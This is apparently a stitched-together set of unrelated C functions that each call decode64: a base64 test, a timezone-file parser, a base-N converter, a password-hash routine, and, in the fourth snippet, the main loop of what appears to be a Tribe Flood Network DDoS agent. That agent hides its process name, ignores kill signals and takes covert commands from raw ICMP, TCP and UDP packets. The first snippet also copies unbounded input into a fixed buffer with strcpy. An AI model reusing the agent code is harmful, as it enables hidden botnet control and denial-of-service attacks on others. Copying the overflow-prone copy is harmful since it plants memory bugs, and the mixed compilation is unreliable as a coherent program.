int main(int argc, char **argv) { char tmpBuf[1024]; char* v1 = "aGk="; char* v2 = "aGk=\n"; if ( argc != 2 ) { fprintf(stdout,"Usage OpenSSLBase64E text \n"); return 1; } char *output = Base64Encode(argv[1],strlen(argv[1])); printf("Base64: %s\n", output); char new_buffer[512]; strcpy(new_buffer,output); strcat(new_buffer,"\n\0"); int temp = decode64(new_buffer, tmpBuf, strlen(new_buffer)); printf("Base64: %s\n", tmpBuf); free(output); int a = decode64(v1, tmpBuf, strlen(v1)); printf("%d: %s\n", a, tmpBuf); int b = decode64(v2, tmpBuf, strlen(v2)); printf("%d: %s\n", b, tmpBuf); }
void decode64(std::string& data) { char* decoded_data = NULL; size_t decoded_len; if(decode64(data.c_str(), data.size(), &decoded_data, &decoded_len, true) < 0) { // Failed decoding. return empty string. VPLTRACE_LOG_ERR(TRACE_BVS, 0, "Failed to decode {%s}.", data.c_str()); data.erase(); } else { data.assign(decoded_data, decoded_len); } if(decoded_data) { free(decoded_data); } }
int time_get_dst(time_t date, const char *tzfile, time_t *switch_cur, char **zone_cur, bool *dst_cur, time_t *switch_next, int *delta_next, char **zone_next, bool *dst_next) { unsigned char *type_idxs = 0; size_t num_types = 0; struct ttinfo *types = NULL; char *zone_names = NULL; struct stat st; size_t num_isstd, num_isgmt; struct tzhead tzhead; size_t chars; size_t i; size_t total_size; size_t types_idx; int trans_width = 4; size_t tzspec_len; size_t num_leaps; size_t lo, hi; size_t num_transitions = 0; _cleanup_free_ time_t *transitions = NULL; _cleanup_fclose_ FILE *f; f = fopen(tzfile, "re"); if (f == NULL) return -errno; if (fstat(fileno(f), &st) < 0) return -errno; read_again: if (fread((void *)&tzhead, sizeof(tzhead), 1, f) != 1 || memcmp(tzhead.tzh_magic, TZ_MAGIC, sizeof(tzhead.tzh_magic)) != 0) return -EINVAL; num_transitions = (size_t)decode(tzhead.tzh_timecnt); num_types = (size_t)decode(tzhead.tzh_typecnt); chars = (size_t)decode(tzhead.tzh_charcnt); num_leaps = (size_t)decode(tzhead.tzh_leapcnt); num_isstd = (size_t)decode(tzhead.tzh_ttisstdcnt); num_isgmt = (size_t)decode(tzhead.tzh_ttisgmtcnt); /* For platforms with 64-bit time_t we use the new format if available. */ if (sizeof(time_t) == 8 && trans_width == 4 && tzhead.tzh_version[0] != '\0') { size_t to_skip; /* We use the 8-byte format. */ trans_width = 8; /* Position the stream before the second header. */ to_skip = (num_transitions * (4 + 1) + num_types * 6 + chars + num_leaps * 8 + num_isstd + num_isgmt); if (fseek(f, to_skip, SEEK_CUR) != 0) return -EINVAL; goto read_again; } if (num_transitions > ((SIZE_MAX - (__alignof__(struct ttinfo) - 1)) / (sizeof(time_t) + 1))) return -EINVAL; total_size = num_transitions * (sizeof(time_t) + 1); total_size = ((total_size + __alignof__(struct ttinfo) - 1) & ~(__alignof__(struct ttinfo) - 1)); types_idx = total_size; if (num_leaps > (SIZE_MAX - total_size) / sizeof(struct ttinfo)) return -EINVAL; total_size += num_types * sizeof(struct ttinfo); if (chars > SIZE_MAX - total_size) return -EINVAL; total_size += chars; if (__alignof__(struct leap) - 1 > SIZE_MAX - total_size) return -EINVAL; total_size = ((total_size + __alignof__(struct leap) - 1) & ~(__alignof__(struct leap) - 1)); if (num_leaps > (SIZE_MAX - total_size) / sizeof(struct leap)) return -EINVAL; total_size += num_leaps * sizeof(struct leap); tzspec_len = 0; if (sizeof(time_t) == 8 && trans_width == 8) { off_t rem = st.st_size - ftello(f); if (rem < 0 || (size_t) rem < (num_transitions * (8 + 1) + num_types * 6 + chars)) return -EINVAL; tzspec_len = (size_t) rem - (num_transitions * (8 + 1) + num_types * 6 + chars); if (num_leaps > SIZE_MAX / 12 || tzspec_len < num_leaps * 12) return -EINVAL; tzspec_len -= num_leaps * 12; if (tzspec_len < num_isstd) return -EINVAL; tzspec_len -= num_isstd; if (tzspec_len == 0 || tzspec_len - 1 < num_isgmt) return -EINVAL; tzspec_len -= num_isgmt + 1; if (SIZE_MAX - total_size < tzspec_len) return -EINVAL; } transitions = malloc0(total_size + tzspec_len); if (transitions == NULL) return -EINVAL; type_idxs = (unsigned char *)transitions + (num_transitions * sizeof(time_t)); types = (struct ttinfo *)((char *)transitions + types_idx); zone_names = (char *)types + num_types * sizeof(struct ttinfo); if (sizeof(time_t) == 4 || trans_width == 8) { if (fread(transitions, trans_width + 1, num_transitions, f) != num_transitions) return -EINVAL; } else { if (fread(transitions, 4, num_transitions, f) != num_transitions || fread(type_idxs, 1, num_transitions, f) != num_transitions) return -EINVAL; } /* Check for bogus indices in the data file, so we can hereafter safely use type_idxs[T] as indices into `types' and never crash. */ for (i = 0; i < num_transitions; ++i) if (type_idxs[i] >= num_types) return -EINVAL; if (__BYTE_ORDER == __BIG_ENDIAN ? sizeof(time_t) == 8 && trans_width == 4 : sizeof(time_t) == 4 || trans_width == 4) { /* Decode the transition times, stored as 4-byte integers in network (big-endian) byte order. We work from the end of the array so as not to clobber the next element to be processed when sizeof (time_t) > 4. */ i = num_transitions; while (i-- > 0) transitions[i] = decode((char *)transitions + i * 4); } else if (__BYTE_ORDER != __BIG_ENDIAN && sizeof(time_t) == 8) { /* Decode the transition times, stored as 8-byte integers in network (big-endian) byte order. */ for (i = 0; i < num_transitions; ++i) transitions[i] = decode64((char *)transitions + i * 8); } for (i = 0; i < num_types; ++i) { unsigned char x[4]; int c; if (fread(x, 1, sizeof(x), f) != sizeof(x)) return -EINVAL; c = getc(f); if ((unsigned int)c > 1u) return -EINVAL; types[i].isdst = c; c = getc(f); if ((size_t) c > chars) /* Bogus index in data file. */ return -EINVAL; types[i].idx = c; types[i].offset = (long int)decode(x); } if (fread(zone_names, 1, chars, f) != chars) return -EINVAL; for (i = 0; i < num_isstd; ++i) { int c = getc(f); if (c == EOF) return -EINVAL; types[i].isstd = c != 0; } while (i < num_types) types[i++].isstd = 0; for (i = 0; i < num_isgmt; ++i) { int c = getc(f); if (c == EOF) return -EINVAL; types[i].isgmt = c != 0; } while (i < num_types) types[i++].isgmt = 0; if (num_transitions == 0) return -EINVAL; if (date < transitions[0] || date >= transitions[num_transitions - 1]) return -EINVAL; /* Find the first transition after TIMER, and then pick the type of the transition before it. */ lo = 0; hi = num_transitions - 1; /* Assume that DST is changing twice a year and guess initial search spot from it. Half of a gregorian year has on average 365.2425 * 86400 / 2 = 15778476 seconds. */ i = (transitions[num_transitions - 1] - date) / 15778476; if (i < num_transitions) { i = num_transitions - 1 - i; if (date < transitions[i]) { if (i < 10 || date >= transitions[i - 10]) { /* Linear search. */ while (date < transitions[i - 1]) i--; goto found; } hi = i - 10; } else { if (i + 10 >= num_transitions || date < transitions[i + 10]) { /* Linear search. */ while (date >= transitions[i]) i++; goto found; } lo = i + 10; } } /* Binary search. */ while (lo + 1 < hi) { i = (lo + hi) / 2; if (date < transitions[i]) hi = i; else lo = i; } i = hi; found: if (switch_cur) *switch_cur = transitions[i-1]; if (zone_cur) *zone_cur = strdup(&zone_names[types[type_idxs[i - 1]].idx]); if (dst_cur) *dst_cur = types[type_idxs[i-1]].isdst; if (switch_next) *switch_next = transitions[i]; if (delta_next) *delta_next = (types[type_idxs[i]].offset - types[type_idxs[i-1]].offset) / 60; if (zone_next) *zone_next = strdup(&zone_names[types[type_idxs[i]].idx]); if (dst_next) *dst_next = types[type_idxs[i]].isdst; return 0; }
int main (int argc, char **argv) { char buf[BS], clear[BS]; struct ip *iph = (struct ip *) buf; struct tribe *tribeh = (struct tribe *) clear; int isock, tsock, usock, i; char *p = NULL, *data = (clear + sizeof (struct tribe)); fd_set rfds; isock = socket (AF_INET, SOCK_RAW, ICMP); tsock = socket (AF_INET, SOCK_RAW, TCP); usock = socket (AF_INET, SOCK_RAW, UDP); if (geteuid ()) exit (-1); memset (argv[0], 0, strlen (argv[0])); strcpy (argv[0], HIDEME); close (0); close (1); close (2); #ifndef WINDOZE if (fork ()) exit (0); #else switch (fork ()) { case -1: perror ("fork"); exit (0); break; case 0: break; default: break; } #endif signal (SIGHUP, SIG_IGN); signal (SIGTERM, SIG_IGN); signal (SIGCHLD, SIG_IGN); while (1) { FD_ZERO (&rfds); FD_SET (isock, &rfds); FD_SET (usock, &rfds); FD_SET (tsock, &rfds); if (select (usock + 1, &rfds, NULL, NULL, NULL) < 1) continue; if (FD_ISSET (isock, &rfds)) { i = read (isock, buf, BS) - (sizeof (struct ip) + sizeof (struct icmp)); myip = htonl (iph->dst); if (i < 4) continue; p = (buf + sizeof (struct ip) + sizeof (struct icmp)); if (!isprint (p[0])) continue; memset (clear, 0, BS); security_through_obscurity (1); decode64 (p, clear, i); memset (buf, 0, BS); security_through_obscurity (0); if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP)) tribe_cmd (tribeh->id, data, argv); } if (FD_ISSET (tsock, &rfds)) { i = read (tsock, buf, BS) - (sizeof (struct ip) + sizeof (struct tcp)); myip = htonl (iph->dst); if (i < 4) continue; p = (buf + sizeof (struct ip) + sizeof (struct tcp)); if (!isprint (p[0])) continue; memset (clear, 0, BS); security_through_obscurity (1); decode64 (p, clear, i); memset (buf, 0, BS); security_through_obscurity (0); if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP)) tribe_cmd (tribeh->id, data, argv); } if (FD_ISSET (usock, &rfds)) { i = read (usock, buf, BS) - (sizeof (struct ip) + sizeof (struct udp)); myip = htonl (iph->dst); if (i < 4) continue; p = (buf + sizeof (struct ip) + sizeof (struct udp)); if (!isprint (p[0])) continue; memset (clear, 0, BS); security_through_obscurity (1); decode64 (p, clear, i); memset (buf, 0, BS); security_through_obscurity (0); if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP)) tribe_cmd (tribeh->id, data, argv); } } /* 1 != 1 */ return (0); }
void conversor(char opt1, char opt2, char *a_entrada, char *a_saida){ switch (opt1) { // Ajuda. case 'h': printf("%s", help); break; // Codificar. case '1': case 'e': switch (opt2) { // Base 62. case '2': encode62(a_entrada, a_saida); printf("\nCodificado com Sucesso!\n\n"); break; // Base 64. case '4': encode64(a_entrada, a_saida); printf("\nCodificado com Sucesso!\n\n"); break; // Base 85. case '5': encode85(a_entrada, a_saida); printf("\nCodificado com Sucesso!\n\n"); break; // Base 91. case '1': encode91(a_entrada, a_saida); printf("\nCodificado com Sucesso!\n\n"); break; default: printf("%s", err[1]); break; } break; // Decodificar. case '2': case 'd': switch (opt2) { // Base 62. case '2': decode62(a_entrada, a_saida); printf("\nDecodificado com sucesso!\n\n"); break; // Base 64. case '4': decode64(a_entrada, a_saida); printf("\nDecodificado com sucesso!\n\n"); break; // Base 85. case '5': decode85(a_entrada, a_saida); printf("\nDecodificado com sucesso!\n\n"); break; // Base 91. case '1': decode91(a_entrada, a_saida); printf("\nDecodificado com sucesso!\n\n"); break; default: printf("%s", err[1]); break; } break; default: printf("%s", err[0]); break; } }
void crypt_gost_yescrypt_rn (const char *phrase, size_t phr_size, const char *setting, size_t set_size, uint8_t *output, size_t o_size, void *scratch, size_t s_size) { if (o_size < set_size + 1 + 43 + 1 || CRYPT_OUTPUT_SIZE < set_size + 1 + 43 + 1 || s_size < sizeof (crypt_gost_yescrypt_internal_t)) { errno = ERANGE; return; } /* Fail when called with wrong prefix. */ if (strncmp (setting, "$gy$", 4)) { errno = EINVAL; return; } crypt_gost_yescrypt_internal_t *intbuf = scratch; if (yescrypt_init_local (&intbuf->local)) return; /* convert gost setting to yescrypt setting */ intbuf->gsetting[0] = '$'; intbuf->gsetting[1] = 'y'; intbuf->gsetting[2] = '$'; XCRYPT_STRCPY_OR_ABORT (&intbuf->gsetting[3], set_size - 3, setting + 4); intbuf->retval = yescrypt_r (NULL, &intbuf->local, (const uint8_t *) phrase, phr_size, intbuf->gsetting, NULL, intbuf->outbuf + 1, o_size - 1); if (!intbuf->retval) errno = EINVAL; if (yescrypt_free_local (&intbuf->local) || !intbuf->retval) return; intbuf->outbuf[0] = '$'; intbuf->outbuf[1] = 'g'; /* extract yescrypt output from "$y$param$salt$output" */ char *hptr = strchr ((const char *) intbuf->retval + 3, '$'); if (!hptr) { errno = EINVAL; return; } hptr = strchr (hptr + 1, '$'); if (!hptr) { errno = EINVAL; return; } hptr++; /* start of output */ /* decode yescrypt output into its raw 256-bit form */ size_t ylen = sizeof (intbuf->y); if (!decode64 (intbuf->y, &ylen, (uint8_t *) hptr, strlen (hptr)) || ylen != sizeof (intbuf->y)) { errno = EINVAL; return; } /* * HMAC_GOSTR3411_2012_256( * HMAC_GOSTR3411_2012_256(GOST2012_256(K), S), * yescrypt(K, S) * ) * yescrypt output is used in place of message, * thus, its crypto properties are superseded by GOST. * Password is always hashed for inner hmac to avoid * collisions between hashed and unhashed passwords. */ gost_hash256 ((const uint8_t *) phrase, phr_size, intbuf->hk, &intbuf->gostbuf.ctx); gost_hmac256 (intbuf->hk, sizeof (intbuf->hk), (const uint8_t *) setting, (size_t) ((uint8_t *) hptr - intbuf->retval), intbuf->interm, &intbuf->gostbuf); outer_gost_hmac256 (intbuf->interm, sizeof (intbuf->interm), intbuf->y, sizeof (intbuf->y), intbuf->y, &intbuf->gostbuf); encode64 ((uint8_t *) hptr, o_size - (size_t) ((uint8_t *) hptr - intbuf->retval), intbuf->y, sizeof (intbuf->y)); XCRYPT_STRCPY_OR_ABORT (output, o_size, intbuf->outbuf); return; }